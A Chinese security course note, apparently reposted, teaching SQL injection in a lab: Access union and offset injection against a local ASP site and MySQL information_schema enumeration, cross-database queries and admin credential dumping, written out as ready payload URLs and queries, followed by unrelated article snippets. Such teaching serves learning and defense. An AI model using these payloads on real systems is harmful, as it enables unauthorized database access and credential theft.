小迪安全24WEB 攻防-通用漏洞SQL 注入MYSQL 跨库ACCESS 偏移

#知识点:

1、脚本代码与数据库前置知识

2Access 数据库注入-简易&偏移

3MYSQL 数据库注入-简易&权限跨库

#前置知识:

-SQL 注入漏洞产生原理分析

-SQL 注入漏洞危害利用分析

-脚本代码与数据库操作流程

-数据库名,表名,列名,数据

-数据库类型,数据库用户,用户权限

SQL:数据的操作——SQL注入;产生在数据库上的注入

SQL注入:传参id变量,通过$sql变量来进行指定的sql数据库查询,从而执行恶意的SQL语句,实现查询其他数据内容(敏感信息)

危害:

数据库中的操作能被其利用和破坏——增删改查——需符合SQL语句的逻辑格式

产生原理:脚本代码和数据库的相关操作

搭建一个网站

漏洞的产生:特定函数和可控变量

最直接的一种通过url是否存在参数:get

  存在一个参数和多个参数(对每一个参数进行测试)

通过获取网络数据包:Post

注入:

测试注入点:

1.猜测数据库类型

2.根据类型选择思路

ACCESS:——独立存在

数据库名

       表名

         列名

           数据

对get页面进行白盒分析

根据对应的url找到对应的文件位置,查看源码

得知用的是一个product的表

那么这时,我们需要查admin的表,用联合查询

http://192.168.162.143:85/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%20from%20admin

注:这里的联合查询是有限制的,就是union前后查询的数据必须保持同列

得知3和15作为网页的回显位,因此3和15替换为对应的列名(字典猜解)

http://192.168.162.143:85/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22%20from%20admin

如果表名知道,但列名不知道——偏移注入:

**原理:**借用数据库的自连接查询(inner join)让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示。

**用处:**access偏移注入是解决一些注入不出来列表的时候,同时要求支持union select,列名足够多,需要知道表名。

判断表内存在的字段个数:

http://192.168.162.143:85/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,*%20from%20admin——错误

直到

http://192.168.162.143:85/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,*%20from%20admin——正确

说明了admin表下有6个字段

每做一次偏移,就意味着做了一整列,所以需要减6

一级偏移语句:

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)

二级偏移语句:

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join a)

Mysql:统一管理

最高数据用户=root用户

数据库名A=网站A——》数据库用户C

       表名

         列名

           数据

数据库名B=网站B——》数据库用户C

数据库名C=网站C——》数据库用户C

攻击思路:

  1. 非root注入攻击:常规类的猜解
  2. Root用户注入攻击:文件读写操作,跨库查询注入...

判断root和非root:

黑盒:采用user()获取当前用户权限

白盒:看代码,看连接用户,配置文件中

Mysql5.0以上的版本:自带一个information_schema(存储数据库下的数据库名、列名、表名等)

获取相关数据:

  1. 数据库版本:查看是否支持使用information_shcema查询——version()
  2. 数据库用户:查看用户是否是Root类型注入攻击——user()
  3. 当前操作系统:是否支持大小写或文件路径——@@version_compile_os
  4. 数据库名字:为后期猜解指定表名——databases()

一、猜测数据

获取 syguestbook 数据库下面的表名信息:

UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where

table_schema='syguestbook'

获取表名 sy_adminuser 的列名信息:UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns

where table_name='sy_adminuser' and table_schema='syguestbook'

获取指定数据:

UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser

  • 跨库注入

实现当前网站跨库查询其他网站——原理:因为是root用户会管理到所有的网站的数据库

获取当前 mysql 下的所有数据库名

UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata

获取数据库名 xhcms 下的表名信息

UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where

table_schema='xhcms'

获取数据库名 xhcms 下的表 manage 下的列名信息:

UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns

where table_name='manage' and table_schema='xhcms'

获取指定数据:

UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/654665.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

探索设计模式的魅力:深入了解适配器模式-优雅地解决接口不匹配问题

设计模式专栏:http://t.csdnimg.cn/nolNS 目录 一、引言 1. 概述 2. 为什么需要适配器模式 3. 本文的目的和结构 二、简价 1. 适配器模式的定义和特点 定义 特点 2. 适配器模式的作用和适用场景 作用 适用场景 3. 适配器模式与其他设计模式的比较 三、适配…

K8S搭建(centos)二、服务器设置

天行健,君子以自强不息;地势坤,君子以厚德载物。 每个人都有惰性,但不断学习是好好生活的根本,共勉! 文章均为学习整理笔记,分享记录为主,如有错误请指正,共同学习进步。…

网络防御安全知识(第三版)

配置黑洞路由 --- 黑洞路由即空接口路由,在NAT地址池中的地址,建议配置达到这个地址指 向空接口的路由,不然,在特定环境下会出现环路。(主要针对地址池中的地址和出接口地址 不再同一个网段中的场景。) …

部署个人知识库管理软件 MrDoc详细教程

效果 一、拉取 MrDoc 代码 进入目录: cd /opt开源版: git clone https://gitee.com/zmister/MrDoc.git专业版: git clone https://{用户名}:{密码}git.mrdoc.pro/MrDoc/MrDocPro.git二、拉取 Docker 镜像 docker pull zmister/mrdoc:v7三…

【MyBatis】#{} 和 ${}

目录 1. #{} 使用示例: 2. ${} 使用示例: SQL注入 使用#{}的情况: 使用${}的情况: MyBatis是一种用于Java语言的持久层框架,它简化了数据库操作的过程。在MyBatis中,我们经常会看到两种不同的参数占…

保障气膜建筑稳定性的关键因素与方法

近年来,气膜建筑因其轻便、柔韧、环保等特点在建筑领域备受瞩目。然而,作为一种依赖气体支撑的结构,如何确保气膜建筑的稳定性成为一个重要的问题。本文将探讨保障气膜建筑稳定性的关键因素与方法,从气压差维持、材料选择、锚固系…

Markdown(2篇文章学会Markdown

目录 1.文章链接:2.markdown可以用来解决什么问题:小结: 1.文章链接: Markdown(2篇文章学会Markdown第一篇 Markdown(2篇文章学会Markdown第二篇 2.markdown可以用来解决什么问题: 格式化文…

小白水平理解面试经典题目LeetCode 455 Assign Cookies【Java实现】

455 分配cookies 小白渣翻译: 假设你是一位很棒的父母,想给你的孩子一些饼干。但是,你最多应该给每个孩子一块饼干。 每个孩子 i 都有一个贪婪因子 g[i] ,这是孩子满意的 cookie 的最小大小;每个 cookie j 都有一个…

商品介绍和规则参数图片映射和IP设置

虚拟路径映射配置: registry.addResourceHandler("/image/productIntroImgs/**").addResourceLocations("file:D:\\java1234-mall-v3\\productIntroImgs\\");registry.addResourceHandler("/image/productParaImgs/**").addResourceL…

Python爬虫请求库安装

请求库的安装 爬虫可以简单分为几步:抓取页面、分析页面和存储数据。 在抓取页面的过程中,我们需要模拟浏览器向服务器发出请求,所以需要用到一些 Python 库来实现 HTTP 请求操作。在本教程中,我们用到的第三方库有 requests、S…

单链表实现通讯录(增删查改)

前言 之前写了很多次通讯录,一次比一次复杂,从静态到动态,再到文件操作,再到顺序表,今天要好好复习一下单链表,于是乎干脆用单链表再写一遍。 首先我们之前已经用单链表写过他的增删查改了,于…

汽车网络安全管理体系框架与评价-汽车网络安全管理体系框架

R155《网络安全与网络安全管理系统》法规中明确指出 , 汽车制造商应完成 “汽车网络安全管理体系认证” (简称: CSMS认证)以及 “车辆型式审批" 且CSMS认证,是车辆型式审批的前提条件。 虽然我国相关政策尚…

汽车网络安全dos, someip

汽车Cyber Security入门之DoS 攻防 - 知乎 3、SOME/IP-TP 近年来火热地谈论下一代EE架构和SOA的时候,总离不开SOME/IP这个进程间通讯协议。在许多应用场景中,需要通过UDP传输大型的SOME/IP有效载荷。鉴于在以太网上传输数据包的大小限制,SO…

应用案例:Ruff工业设备数据采集,为生产制造企业数字化转型赋能

导读:某金属材料生产制造企业,引进了整套Ruff数据采集方案,将Ruff网关采集到的PLC数据接入到Ruff IoT管理云平台,帮助客户实现覆盖全厂区、车间所有设备的数字化、可视化管理,避免了意外停机风险,IT运维工作…

力扣3. 无重复字符的最长子串(滑动窗口)

Problem: 3. 无重复字符的最长子串 文章目录 题目描述思路及解法复杂度Code 题目描述 思路及解法 由于题目要求求出字符串中最长的连续无重复字符的最长子串,所以利用这个特性我们可以比较容易的想到利用双指针中的滑动窗口技巧来解决,但在实际的求解中…

C语言——指针进阶(四)

目录 一.前言 二.指针和数组笔试题解析 2.1 二维数组 2.2 指针笔试题 三.全部代码 四.结语 一.前言 本文我们将迎来指针的结尾,包含了二维数组与指针的试题解析。码字不易,希望大家多多支持我呀!(三连+关注&…

智能电话机器人好不好

随着人工智能的出现,越来越多的智能电话机器人出现在我们的日常生活中,很多的电话营销公司的老板们非常看重这款产品,都希望通过第一次电话审查将公司电话营销人员的精力和时间投入到更准确的客户身上。那么智能电话机器人好不好电销机器人有…

【论文阅读】Vlogger: Make Your Dream A Vlog

Vlogger:把你的梦想变成Vlog paper:https://arxiv.org/abs/2401.09414 code:https://github.com/zhuangshaobin/vlogger 看起来挺有意思的,有空读一下 本文提出Vlogger,一种用于生成用户描述的分钟级视频博客(即vlo…

Python实现时间序列分析自回归模型(AutoReg算法)项目实战

说明:这是一个机器学习实战项目(附带数据代码文档视频讲解),如需数据代码文档视频讲解可以直接到文章最后获取。 1.项目背景 时间序列分析中的自回归模型(AutoRegressive Model,简称AR模型)是一…

Intel Processor Trace(三)

文章目录 前言一、Packet Relationships and Ordering1.1 Packet Blocks 二、Packet Definitions2.1 Taken/Not-taken (TNT) Packet2.2 Target IP (TIP) Packet2.2.1 IP Compression2.2.2 Indirect Transfer Compression for Returns (RET) 2.3 Deferred TIPs2.4 Packet Genera…